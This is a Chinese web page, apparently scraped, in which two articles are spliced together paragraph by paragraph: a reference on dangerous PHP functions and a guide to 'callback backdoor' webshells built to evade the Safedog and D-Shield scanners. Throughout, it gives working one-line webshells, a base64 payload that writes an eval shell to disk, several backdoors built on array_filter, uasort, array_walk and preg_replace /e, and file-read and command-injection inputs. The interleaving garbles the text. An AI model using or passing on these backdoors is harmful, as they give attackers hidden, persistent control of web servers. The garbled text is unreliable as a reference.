澳门新蒲京娱乐


查询签到,php获取前几日启幕时间和得了时间的主意
图片 28
0图文详解

常见危险函数,PHP回调后门可绕过安全狗

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET[‘func’]($_REQUEST[‘pass’])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

PHP代码执行函数

eval & assert & preg_replace

   
那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

eval 函数

php官方手册:http://php.net/manual/zh/function.eval.php
eval
(PHP 4, PHP 5, PHP 7)
eval —— 把字符串作为PHP代码执行

0x00 前言

说明:

mixed eval ( string $code )
把字符串 code 作为PHP代码执行。

   
有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

注意:

函数 eval() 语言结构是 非常危险的, 因为它允许执行任意 PHP 代码。
它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外 别无方法,
请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据。

   
一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

参数

code:

需要被执行的字符串
代码不能包含打开/关闭 PHP tags。比如,‘echo “Hi!”;’
不能这样传入:‘<?php echo “Hi!”; ?>’。但仍然可以用合适的 PHP
tag 来离开、重新进入 PHP 模式。比如 ‘echo “In PHP mode!”; ?>In
HTML mode!<?php echo “Back in PHP mode!”;’

除此之外,传入的必须是有效的 PHP
代码。所有的语句必须以分号结尾。比如’echo “Hi!”‘会导致一个 parse
error,而’echo “Hi!”;’则会正常运行。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval()
里任何的变量定义、修改,都会在函数结束后被保留。

图片 1

返回值

eval() 返回
NULL,除非在执行的代码中return了一个值,函数返回传递给return的值。
PHP 7 开始,执行的代码里如果有一个 parse error,eval()会抛出
ParseError 异常。在 PHP 7 之前, 如果在执行的代码中有 parse
error,eval()返回FALSE,之后的代码将正常执行。无法使用
set_error_handler()捕获 eval()中的解析错误。

    

简单说

mixed eval ( string $code ) 把字符串 $code 作为PHP代码执行。
很多常见的 webshell 都是用eval 来执行具体操作的。
<?php @eval($_POST[‘v’]);?> —— 常见的一句话木马。
eval一般出现的场景是

<?php
  $string = 'cup';
  $name = 'coffee';
  $str = 'This is a $string with my $name in it.';
  echo $str. "\n";
  eval("\$str = \"$str\";");
  echo $str. "\n";
?>

    有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

assert 函数

PHP手册:http://php.net/manual/zh/function.assert.php
(PHP 4, PHP 5, PHP 7)PHP7 有不同,请看PHP手册。这里不多说了。

   
根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。

说明

bool assert ( mixed $assertion [, string $description ] )
检查一个断言是否为
FALSE。(把字符串 $assertion 作为PHP代码执行)

编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作。
断言一词来自逻辑学,在逻辑学中,“断言”是“断定一个特定前提为真的陈述”,在软件测试中也是类似的含义。可以理解为断定一个表达式结果为真,不为真就通过抛异常或者其他方式使这个测试用例失败。

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

    我就自己给这类webshell起了个名字:回调后门。

assertions

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assertion
是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含
assertion 表达式。 这意味着如果你传入了 boolean 的条件作为
assertion,这个条件将不会显示为断言函数的参数;在调用你定义的
assert_options()
处理函数时,条件会转换为字符串,而布尔值 FALSE
会被转换成空字符串。
断言这个功能应该只被用来调试。
你应该用于完整性检查时测试条件是否始终应该为
TRUE,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。
断言不应该用于普通运行时操作,类似输入参数的检查。
作为一个经验法则,在断言禁用时你的代码也应该能够正确地运行。
assert() 的行为可以通过
assert_options()
来配置,或者手册页面上描述的 .ini 设置。

0x01 回调后门的老祖宗

参数

assertion
断言。在PHP5中必须是string型或Boolean型。在PHP,可以是任何有返回值的表达式

description
如果 assertion 失败了,选项 description 将会包括在失败信息里。

   
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

返回值

assertion 是 false 则返回 FALSE,否则是 TRUE。

call_user_func('assert', $_REQUEST['pass']);

简单说

检查一个断言是否为
FALSE。
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

因为大多数杀毒软件把 eval 列入黑名单了,所以用 assert 来替代eval
来执行具体操作的。

<?php $_GET[a]($_GET[b]);?>  //一句话木马
//payload: ?a=assert&b={fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwJF9QT1NUW2NdKTsgPz4))};

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5
waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWw
oJF9QT1NUW2NdKTsgPz4x%29%29};

   
assert直接作为回调函数,然后$_REQUEST[‘pass’]作为assert的参数调用。

preg_replace 函数

preg_replace — 执行一个正则表达式的搜索和替换
http://php.net/manual/zh/function.preg-replace.php

    这个后门,狗和盾都可以查到(但是狗不会拦截):

说明

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

图片 2

参数

pattern
要搜索的模式。可以使一个字符串或字符串数组。可以使用一些PCRE修饰符。

replacement
用于替换的字符串或字符串数组。
如果这个参数是一个字符串,并且 pattern
是一个数组,那么所有的模式都使用这个字符串进行替换。
如果 pattern 和 replacement 都是数组,每个pattern 使用replacement
中对应的元素进行替换。
如果replacement 中的元素比pattern 中的少, 多出来的pattern
使用空字符串进行替换。

replacement 中可以包含后向引用\\n$n,语法上首选后者。
每个这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n
可以是0-99,\\0$0 代表完整的模式匹配文本。
当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字(比如:在一个匹配模式后紧接着增加一个原文数字)。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:、 \ 和
NULL)
然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或
双引号引起的语法错误(比如:
'strlen(\'$1\')+strlen("$2")')。确保符合PHP的
字符串语法,并且符合eval语法。因为在完成替换后,
引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

subject
要进行搜索和替换的字符串或字符串数组。
如果subject是一个数组,搜索和替换回在subject 的每一个元素上进行,
并且返回值也会是一个数组。

limit
每个模式在每个subject上进行替换的最大次数。默认是 -1(无限)。

count
如果指定,将会被填充为完成的替换次数。

    

返回值

如果subject是一个数组, preg_replace()返回一个数组,
其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下 返回没有改变的
subject。如果发生错误,返回 NULL 。

    可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

错误/异常

PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误;
PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。

call_user_func_array('assert', array($_REQUEST['pass']));

简单说

preg_replace — 执行一个正则表达式的搜索和替换
/e 修正符使 preg_replace()replacement 参数当作 PHP 代码

preg_replace("/test/e",$_GET["h"],"jutst test"); 

如果我们提交
?h=phpinfo(),/e就会将h参数当做PHP代码,phpinfo()将会被执行。

   
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

create_function

create_function — 创建一个匿名函数。
http://php.net/manual/zh/function.create-function.php

string create_function ( string $args , string $code )

创建一个匿名函数,并返回独一无二的函数名。

$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');

就相当于system(‘whoami’);

    图片 3

call_user_func

call_user_func — 把第一个参数作为回调函数调用
http://php.net/manual/zh/function.call-user-func.php

    可见,虽然狗不杀了,D盾还是聪明地识别了出来。

说明

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

   
看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

参数

callback
将被调用的回调函数(callable)。

parameter
0个或以上的参数,被传入回调函数。

Note:
请注意,传入call_user_func()的参数不能为引用传递。

0x02 数组操作造成的单参数回调后门

返回值

返回回调函数的返回值。

   
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

call_user_func_array

call_user_func_array —
调用回调函数,并把一个数组参数作为回调函数的参数
http://php.net/manual/zh/function.call-user-func-array.php

    我最早想到个最“简单好用的”:

说明

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

参数

callback
被调用的回调函数。
param_arr
要被传入回调函数的数组,这个数组得是索引数组。

   
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

返回值

返回回调函数的结果。如果出错的话就返回FALSE

    图片 4

包含函数

require、include、require_once、include_once
包含函数 一共有四个,主要作用为包含并运行指定文件。

  • 官方手册:require
    require 和 include
    几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生
    E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而
    include
    只产生警告(E_WARNING),脚本会继续运行。
  • 官方手册:include
    语句包含并运行指定文件。
  • 官方手册:require_once
    require_once 语句和
    require
    语句完全相同,唯一区别是 PHP
    会检查该文件是否已经被包含过,如果是则不会再次包含。
    参见
    include_once
    的文档来理解 _once 的含义,并理解与没有 _once 时候有什么不同。
  • 官方手册:include_once
    include_once 语句在脚本执行期间包含并运行指定文件。此行为和
    include
    语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。
    include_once
    可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

   
这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

简单说

include $file;
在变量 $file 可控的情况下,我们就可以包含任意文件,从而达到 getshell
的目的。
另外,在不同的配置环境下,可以包含不同的文件。
因此又分为远程文件包含本地文件包含
包含函数也能够读取任意文件内容,这就需要用到【支持的协议和封装协议】和【过滤器】。
例如,利用php流filter读取任意文件

include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解释:?file=php:// 协议 / 过滤器 / 文件

    图片 5

命令执行函数

  • exec()
    — 执行一个外部程序
  • passthru()
    — 执行外部程序并且显示原始输出
  • proc_open()
    — 执行一个命令,并且打开用来输入/输出的文件指针。
  • shell_exec()
    — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • system()
    — 执行外部程序,并且显示输出
  • popen()
    — 通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行

程序执行函数:http://php.net/manual/zh/ref.exec.php
文件系统函数:http://php.net/manual/zh/ref.filesystem.php

执行函数包括但不限于上述几个。
同样的道理、只要命令的参数可控就能执行系统命令。
例如:
system( $cmd );或者 system('ping -c 3 ' . $target );
当 $cmd 可控就能执行任意命令,
而当 $target
可控的话,可以用管道符等特殊字符截断从而执行任意命令。
$target = 'a | whoami';

    类似array_filter,array_map也有同样功效:

文件操作函数

• copy — 拷贝文件
http://php.net/manual/zh/function.copy.php
• file_get_contents — 将整个文件读入一个字符串
http://php.net/manual/zh/function.file-get-contents.php
• file_put_contents — 将一个字符串写入文件
http://php.net/manual/zh/function.file-put-contents.php
• file — 把整个文件读入一个数组中
http://php.net/manual/zh/function.file.php
• fopen — 打开文件或者 URL
http://php.net/manual/zh/function.fopen.php
• move_uploaded_file — 将上传的文件移动到新位置
http://php.net/manual/zh/function.move-uploaded-file.php
• readfile — 输出文件
http://php.net/manual/zh/function.readfile.php
• rename — 重命名一个文件或目录
http://php.net/manual/zh/function.rename.php
• rmdir — 删除目录
http://php.net/manual/zh/function.rmdir.php
• unlink &
delete
— 删除文件
http://php.net/manual/zh/function.unlink.php

任意文件读取、写入、删除往往是上面几个函数受到了控制(当然还有其他的函数)。
不同的函数在不同的场景有不同的作用和不同的利用手法。
读取:可以读取配置等文件,拿到key
写入:可以写入shell代码相关的内容
删除:可以删除.lock文件而可以重新安装覆盖
更多思路请自行挖掘测试!!

文件系统函数:http://php.net/manual/zh/ref.filesystem.php

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

特殊函数

    依旧被D盾查杀。

信息泄漏

    果然,简单的数组回调后门,还是很容易被发现与查杀的。

phpinfo

bool phpinfo ([ int $what = INFO_ALL ] )
phpinfo
— 输出关于 PHP 配置的信息
输出 PHP 当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP
版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path
变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
因为每个系统安装得有所不同,phpinfo() 常用于在系统上检查
配置设置和
预定义变量。
phpinfo() 同时是个很有价值的、包含所有 EGPCS(Environment, GET, POST,
Cookie, Server) 数据的调试工具。

0x03 php5.4.8+中的assert

软连接-读取文件内容

    php
5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

symlink

symlink
— 建立符号连接
bool symlink ( string $target , string $link )
symlink() 对于已有的 target 建立一个名为 link 的符号连接。

    图片 6

readlink

readlink
— 返回符号连接指向的目标
string readlink ( string $path )
readlink() 和同名的 C 函数做同样的事,返回符号连接的内容。

   
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

环境变量

    比如如下回调后门:

getenv

getenv
— 获取一个环境变量的值
string getenv ( string $varname )
获取一个环境变量的值。

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

putenv

putenv
— 设置环境变量的值
bool putenv ( string $setting )
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。
在请求结束时环境会恢复到初始状态。

    这个后门在php5.3时会报错,提示assert只能有一个参数:

加载扩展

dl
— 运行时载入一个 PHP 扩展
bool dl ( string $library )
载入指定参数 library 的 PHP 扩展。

    图片 7

配置相关

PHP 选项/信息 函数
http://php.net/manual/zh/ref.info.php

    php版本改作5.4后就可以执行了:

ini_get

ini_get
— 获取一个配置选项的值
string ini_get ( string $varname )
成功时返回配置选项的值。

    图片 8

ini_set

string ini_set ( string $varname , string $newvalue )

    这个后门,狗和盾是都查不出来的:

ini_alter

string ini_alter ( string $varname , string $newvalue )
设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

    图片 9

ini_restore

void ini_restore ( string $varname )
恢复指定的配置选项到它的原始值。

    同样的道理,这个也是功能类似:

数字判断

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

is_numeric

bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。
仅用is_numeric判断而不用intval转换就有可能插入16进制的字符串到数据库,进而可能导致sql二次注入。

    再给出这两个函数,面向对象的方法:

数组相关

// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

in_array

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 haystack 中搜索 needle,如果没有设置 strict 则使用宽松的比较。
该函数有一个特性,比较之前会进行自动类型转换。
$a = '1abc';
in_array($a,array(1,2,3))的返回值会是真

    再来两个类似的回调后门:

变量覆盖

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

parse_str

void parse_str ( string $str [, array &$arr ] )
如果 str 是 URL 传递入的查询字符串(query
string),则将它解析为变量并设置到当前作用域。

    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

extract

int extract ( array &$var_array [, int $extract_type =
EXTR_OVERWRITE [, string $prefix = NULL ]] )
本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。

   
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

mb_parse_str

bool mb_parse_str ( string $encoded_string [, array &$result ] )
解析 GET/POST/COOKIE 数据并设置全局变量。 由于 PHP 不提供原始
POST/COOKIE 数据,目前它仅能够用于 GET 数据。 它解析了 URL
编码过的数据,检测其编码,并转换编码为内部编码,然后设置其值为 array 的
result 或者全局变量。

0x04 三参数回调函数

import_request_variables

bool import_request_variables ( string $types [, string $prefix ] )
将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了
register_globals,但又想用到一些全局变
量,那么此函数就很有用。

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

输出:valuefoo barbaz

   
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

列目录

   
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

glob

array glob ( string $pattern [, int $flags = 0 ] )
glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern
匹配的文件路径,类似于一般 shells 所用的
规则一样。不进行缩写扩展或参数替代。

    图片 10

无参数获取信息

    php中,可以执行代码的函数:

get_defined_vars

array get_defined_vars ( void )
返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

get_defined_constants

array get_defined_constants ([ bool $categorize = false ] )
返回当前所有已定义的常量名和值。 这包含 define()
函数所创建的,也包含了所有扩展所创建的。

    三个参数可以用preg_replace。所以我这里构造了一个array_walk +
preg_replace的回调后门:

get_defined_functions

array get_defined_functions ( void )
返回一个包含所有已定义函数列表的多维数组

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

get_included_files

array get_included_files ( void )
返回所有被 include、 include_once、 require 和 require_once 的文件名。

    如图,这个后门可以在5.3下使用:

    图片 11

    但强大的D盾还是有警觉(虽然只是等级2):

    图片 12

相关文章

No Comments, Be The First!
近期评论
    功能
    网站地图xml地图